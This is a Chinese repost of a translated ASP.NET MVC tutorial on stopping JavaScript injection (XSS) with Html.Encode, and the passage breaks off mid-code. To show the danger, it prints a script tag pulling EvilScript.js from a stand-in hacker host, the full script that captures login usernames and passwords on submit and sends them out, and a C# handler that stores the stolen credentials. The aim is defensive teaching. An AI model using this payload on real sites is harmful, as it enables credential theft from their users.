日期:2014-05-17  浏览次数:20551 次

[转][翻译]ASP.NET MVC Tip #7 – 使用Html.Encode避免JavaScript注入攻击
转:http://www.dwww.cn/News/2008-7/20087131938347687.shtml
摘要:在这个Tip中,你将了解到JavaScript注入攻击可能会比你想象的更加严重。Stephen Walther展示了如何使用JavaScript注入攻击来在一个ASP.NET MVC站点上干些大大的坏事,并解释了如何通过一种简单的方式来防止这种攻击。

当你从站点的浏览者那里收集表单数据,并将表单数据展示给其他浏览者时,你应该对表单数据进行编码。否则,你的站点大门将为JavaScript注入攻击打开。

例如,如果你创建了一个论坛,在将消息显示到Web页面之前,请确保对其进行了编码。如果你没有对消息进行编码,某些人可能会发表一个带JavaScript的消息,做一件大大的坏事。

在这个Tip中,我将强调黑客可以利用JavaScript注入攻击做非常严重的事情。让我惊奇的是,关心防止JavaScript注入攻击的Web开发者少之又少。这里的问题在于很多开发者并没有完全意识到这其中的危险。他们认为使用JavaScript注入攻击最坏的情况也就是破坏页面结构。在这个Tip中,我将向你展示黑客如何利用JavaScript注入攻击来盗取网站用户的用户名和密码。本文的要点是通过恐吓来教会你做正确的事情。

据Wikipedia称,JavaScript注入攻击已经“超越缓冲区溢出,成为最常见的公共安全弱点。”更恐怖的是,据Wikipedia称,70%的网站向JavaScript注入攻击敞开着(http://en.wikipedia.org/wiki/Cross-site_scripting)。因此,本文读者,你们当中的70%正在犯懒并危害着你们网站的用户。羞羞!

如何通过JavaScript盗取另一个用户的密码

这里介绍一下黑客如何利用JavaScript注入攻击做大大的坏事。假设你建立了一个Customer Survey应用程序,使用的是ASP.NET MVC。

Customer Survey应用程序是一个超级简单的应用程序。用户通过在一个表单中填写内容,可以对一个产品进行反馈。客户可以查看之前所有客户留下的反馈。

图1展示了反馈表单。

图1 - 反馈表单




注意反馈表单页面的顶部还包含了一个登录表单。Customer Survey应用程序将登录表单放到了母版页中(Web站点的常见场景)。

由于反馈表单显示了其它客户留下的反馈,该页面将对JavaScript注入攻击敞开大门。那些心怀恶意的黑客只需在反馈表单中敲入下面的代码:



<script src=http://HackerSite.com/EvilScript.js></script>
当该文本重新显示在反馈表单页中时,<script>标签会调用一个位于黑客的站点上的JavaScript脚本。该脚本如清单1所示。

清单1 - EvilScript.js


if (window.attachEvent)
 document.forms[0].attachEvent('onsubmit', fn);
 
function fn(e)
{
 var userName = document.getElementById("userName").value;
 var password = document.getElementById("password").value;
 var d = new Date();
 var url = "HackerSite/EvilHandler.ashx?userName=" + userName 
 + "&password=" + password + "&d=" + d.valueOf();
 
 var script = document.createElement("script");
 script.type = 'text/javascript';
 script.src = url;
 document.body.appendChild( script ); 
}

清单1中的脚本将一个事件处理器附加到了登录表单的form submit事件上。当登录表单提交时,会执行fn() JavaScript函数。该函数截取了表单中的userName和password字段。接下来,该脚本向页面中动态注入了一个<script>标签,并将userName和password传递给一个名为EvilHandler.ashx的(可能是远程的)处理器。

EvilHandler的代码如清单2所示。EvilHandler简单地从查询字符串中拿到了用户名和密码,并存放在数据库中。

清单2 - EvilHandler.ashx

using System;
using System.Collections;
using System.Data;
using System.Linq;
using System.Web;
using System.Web.Services;
using System.Web.Services.Protocols;
using System.Xml.Linq;
 
namespace CustomerSurvey.HackerSite
{
 [WebService(Namespace = "http://tempuri.org/")]
 [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
 public class EvilHandler : IHttpHandler
 {
 
 public void ProcessRequest(HttpContext context)
 {
 // Get user name and password from URL
 string userName = context.Request.QueryString["userName"];
 string password = context.Request.QueryString["password"];
 
 // Store in database
 HackerDataContext db = new HackerDataContext();
 StolenPassword pwd = new StolenPassword();
 pwd.userName = userName;
 pwd.password = password;
 db.StolenPasswords.InsertOnSubmit(pwd);
 db.SubmitChanges();
 }
 
 public bool IsReusable
 {
 get
 {
 return false;
 }
 }
 }
}

假设这个Customer Feedback表单出现在一个银行网站中。在这种情况下,黑客现在就能访问任何人的帐户信息了,并能把任何人的钱转到位于开曼群岛的帐户中。很不错,才需要这么几行代码。

ASP.NET MVC不支持请求验证

这种危险在ASP.NET MVC应用程序中更为敏感一些。在ASP.NET Web Forms应用程序中——和ASP.NET MVC不同——你可以依赖一项称作请求验证(Request Validation)的特性。如果从一个页面提交的表单数据中含有看起来不安全的文字,请求验证就能检测到。如果你提交的表单数据中包含诸如尖括号这样的文本,就会导致异常的抛出。

要知道ASP.NET MVC并不适用请求验证。在ASP.NET MVC应用程序中,你必须完全由自己来防止JavaScript注入攻击。

防止JavaScript注入攻击

防止JavaScript注入攻击其实很简单。确保每当你在视图中显示从用户那里获取的表单数据时都调用了Html.Encode()即可。

例如,下面是Index视图中用于显示用户反馈的部分代码:

<h1>Customer Feedback</h1>
<ul>
<% foreach (Survey survey in